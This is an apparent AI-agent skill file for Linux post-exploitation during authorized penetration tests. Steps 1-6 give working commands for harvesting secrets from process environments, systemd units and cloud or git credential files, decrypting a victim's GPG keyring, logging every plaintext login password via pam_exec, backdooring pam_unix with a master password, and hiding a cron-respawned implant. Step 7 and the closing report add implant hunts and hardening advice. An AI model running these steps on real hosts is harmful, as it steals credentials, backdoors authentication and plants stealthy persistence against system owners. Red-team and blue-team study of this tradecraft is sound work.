performing-linux-post-exploitation
$
npx mdskill add xalgord/xalgorix/performing-linux-post-exploitation- After obtaining a foothold (especially root) on a Linux host during an authorized engagement - When the objective includes lateral movement, credential access, or demonstrating persistence - When harvesting secrets to pivot to other hosts, cloud accounts, or internal services - During red-team exercises that require stealthy, detectable-only-on-purpose persistence - When performing blue-team-style hunts for existing implants on a compromised host
SKILL.md
.github/skills/performing-linux-post-exploitationView on GitHub ↗
---
name: performing-linux-post-exploitation
description: Post-exploitation on Linux during authorized engagements — credential harvesting from process environments,
systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption,
and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- post-exploitation
- persistence
- credential-access
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Performing Linux Post-Exploitation
## When to Use
- After obtaining a foothold (especially root) on a Linux host during an authorized engagement
- When the objective includes lateral movement, credential access, or demonstrating persistence
- When harvesting secrets to pivot to other hosts, cloud accounts, or internal services
- During red-team exercises that require stealthy, detectable-only-on-purpose persistence
- When performing blue-team-style hunts for existing implants on a compromised host
## Critical: Techniques Most Often Missed
Operators grab `~/.ssh` and shell history and move on. The richest reusable credentials live in process environments, systemd units, and app dotfiles.
- **Secrets in process environments.** Service processes inherit DB URIs, admin creds, API keys.
- How to CONFIRM: `tr '\0' '\n' </proc/<PID>/environ` shows values like `GF_SECURITY_ADMIN_PASSWORD=...`; reuse them against SSH/other services.
- **Credentials baked into systemd unit files.** `Environment=` lines carry Basic-Auth and DB passwords.
- How to CONFIRM: `grep -R '^Environment=' /etc/systemd/system /lib/systemd/system` returns `BASIC_AUTH_PWD=...` that often works on the web panel and SSH.
- **App dotfiles beyond SSH/history.** `.aws/credentials`, `.kube/config`, `.docker/config.json`, `.netrc`, `.git-credentials`.
- How to CONFIRM: `grep -RInE 'password|token|aws_secret' ~/.aws ~/.kube ~/.docker ~/.netrc 2>/dev/null` returns live tokens.
- **GPG keyring relocation to decrypt loot.** Permission/lock errors on the original homedir are bypassed by copying the keyring.
- How to CONFIRM: `GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d secrets.gpg` succeeds where the in-place decrypt failed with "unsafe ownership on homedir".
- **PAM credential capture / backdoor.** `pam_exec.so` logs every plaintext password; a patched `pam_unix.so` accepts a master password.
- How to CONFIRM: after adding the `pam_exec.so` line, a fresh login writes the cleartext password to `/var/log/toomanysecrets.log`.
- **Passive BPF backdoors with no listening port.** `netstat`/`ss`/`nmap` look clean; the implant filters traffic in-kernel.
- How to CONFIRM (hunt): `ss -0pb | egrep -i 'packet|raw'` reveals raw/packet sockets with attached filters owned by oddly-named processes.
## Workflow
### Step 1: Harvest Credentials from Process Environments
```bash
env ; printenv # your own process
tr '\0' '\n' < /proc/<PID>/environ # another process
strings -z /proc/<PID>/environ # fallback
tr '\0' '\n' < /proc/1/environ # PID 1 (containers)
# Look for: DB URIs, API keys, SMTP/OAuth secrets, GF_SECURITY_ADMIN_*, proxy/TLS overrides
```
### Step 2: Pull Secrets from systemd Units and Dotfiles
```bash
ls -la /etc/systemd/system /lib/systemd/system
sudo grep -R '^Environment=.*' /etc/systemd/system /lib/systemd/system 2>/dev/null
# User credential stores and history files
ls -la ~ | grep -iE 'history|credential|token|key|secret'
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
# Also: ~/.local/share/keyrings/, ~/.mysql_history, ~/.psql_history
```
### Step 3: Decrypt GPG Loot via Relocated Keyring
```bash
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# If private-keys-v1.d holds the secret key, decryption proceeds without a passphrase
```
### Step 4: PAM Credential Capture (logging plaintext passwords)
```bash
# Log date, $PAM_USER, the password from stdin, and $PAM_RHOST on every auth
cat > /usr/local/bin/toomanysecrets.sh <<'EOF'
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
EOF
chmod 700 /usr/local/bin/toomanysecrets.sh
# Append to /etc/pam.d/common-auth:
# auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
```
### Step 5: PAM Backdoor (master password)
A patched `pam_unix.so` grants auth when a predefined password is supplied, otherwise it falls through to normal verification. The compiled library replaces the system `pam_unix.so` and works across login/ssh/sudo/su. Automate with `linux-pam-backdoor`.
### Step 6: Establish Stealthy Persistence
```bash
# Multi-path implant + cron respawn, single-instance loopback "mutex"
for d in /tmp /var/tmp /dev/shm /run/lock; do cp implant "$d/.s" 2>/dev/null; done
(crontab -l 2>/dev/null; echo '*/5 * * * * /tmp/.s') | crontab -
# Process masquerading: prctl(PR_SET_NAME,"init") + overwrite argv[0] so ps/cmdline lie
```
### Step 7: Hunt for Existing Implants (blue-team validation)
```bash
# Raw/packet sockets + attached BPF filters (portless backdoors)
ss -0pb | egrep -i 'packet|raw' ; cat /proc/net/packet
# Process name vs real exe mismatch, deleted/fileless exes
for p in /proc/[0-9]*; do exe=$(readlink "$p/exe" 2>/dev/null);
cmd=$(tr '\0' ' ' <"$p/cmdline" 2>/dev/null);
[ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"; done \
| egrep -i 'agetty|smartd|init|dockerd'
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
grep -RInE 'bpfd|dockerd|/dev/shm|/var/tmp' /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Environment credential leak** | Secrets passed via env are inherited by children and any spawned shell |
| **systemd `Environment=`** | Credentials embedded directly in unit files, often root-run web panels |
| **PAM** | Pluggable Authentication Modules; `pam_exec.so` runs scripts, `pam_unix.so` checks passwords |
| **GNUPGHOME relocation** | Pointing GPG at a writable copy of a keyring to bypass homedir permission/lock errors |
| **Process masquerading** | `prctl(PR_SET_NAME)` + `argv[0]` overwrite to display a benign name in ps/proc |
| **BPF passive backdoor** | Kernel socket filter that triggers a shell only on a magic packet — no open port |
| **Single-instance mutex** | Implant binds a fixed loopback port and exits if bind fails, preventing duplicates |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **/proc/<pid>/environ** | Read another process's environment for inherited secrets |
| **pam_exec.so** | Run an arbitrary script during authentication (credential capture) |
| **linux-pam-backdoor** | Automates patching `pam_unix.so` with a master password |
| **gpg (GNUPGHOME)** | Decrypt loot with a relocated victim keyring |
| **pspy** | Observe cron/systemd activity to find credential-bearing jobs |
| **ss / bpftool** | Detect raw/packet sockets and baseline BPF usage when hunting implants |
## Common Scenarios
### Scenario 1: Grafana env creds reuse
A Grafana process exposes `GF_SECURITY_ADMIN_PASSWORD` in `/proc/<pid>/environ`. The same password works for SSH on the host, enabling a clean pivot.
### Scenario 2: systemd Basic-Auth leak
`grep -R '^Environment='` reveals `BASIC_AUTH_USER=root` / `BASIC_AUTH_PWD=...` in a crontab-ui unit running as root, unlocking the admin web panel.
### Scenario 3: GPG-protected backup
A `.gpg` backup cannot be decrypted in place due to homedir permissions. Copying `~/.gnupg` into `/dev/shm` and setting `GNUPGHOME` decrypts the secrets.
### Scenario 4: PAM password capture for persistence
Adding a `pam_exec.so` line to `common-auth` logs every cleartext login password to a file, harvesting admin credentials as they authenticate.
## Output Format
```
## Post-Exploitation Finding
**Activity**: Credential Harvesting & Persistence
**Severity**: High
**Host**: app01 (root access obtained)
### Credentials Recovered
| Source | Secret | Reuse |
|--------|--------|-------|
| /proc/812/environ | DB URI + password | psql to internal DB |
| systemd unit crontab-ui.service | BASIC_AUTH_PWD | web panel + SSH on app01 |
| ~/.aws/credentials | AWS access/secret key | AWS account access |
### Persistence Demonstrated (authorized)
- pam_exec.so line in /etc/pam.d/common-auth logging plaintext logins
- cron respawn entry: */5 * * * * /tmp/.s (removed at end of engagement)
### Detection Notes
ss -0pb showed no rogue raw/packet sockets; process-name vs exe audit clean.
### Recommendation
1. Move secrets out of env / unit files into a secret manager; rotate exposed creds
2. Review /etc/pam.d/* and pam module integrity; alert on pam_exec additions
3. Restrict /proc visibility (hidepid=2) and dotfile permissions
4. Monitor for raw/packet sockets, deleted exes, and process-name/exe mismatches
```